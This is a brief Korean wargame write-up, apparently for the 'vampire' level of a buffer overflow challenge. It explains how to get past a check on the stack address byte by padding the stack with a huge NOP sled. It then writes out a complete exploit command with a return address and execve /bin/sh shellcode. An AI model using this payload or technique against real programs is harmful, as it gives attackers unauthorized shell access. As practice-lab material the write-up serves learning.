트롤하자~~
요약하자면 argv[1][47]은 \xbf여야하고 48은 \xff가 아니어야 한다.
그런데 stack은 0xc0000000부터 거꾸로 자라기 때문에 stack에 0x10000이상 안들어가는 이상 0xbfff~~~~일 수 밖에 없다.
다시 말하면 0x10000이상 넣으면 된다.
다행히 다른 제약조건이 없어져서 argv[1]에 왕창 넣을 수 있다.
0x90을 100000개쯤 넣어보자
stack주소가 0xbffe~~~~까지 내려온 것을 볼 수 있다.
그럼 중간에 shellcode를 넣어 payload를 만들어보자
./vampire `python -c 'print "A"*44+"\xc0\x74\xfe\xbf" + "\x90"*200 + "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*99776'`
\x90이 10만개나 출력됐다....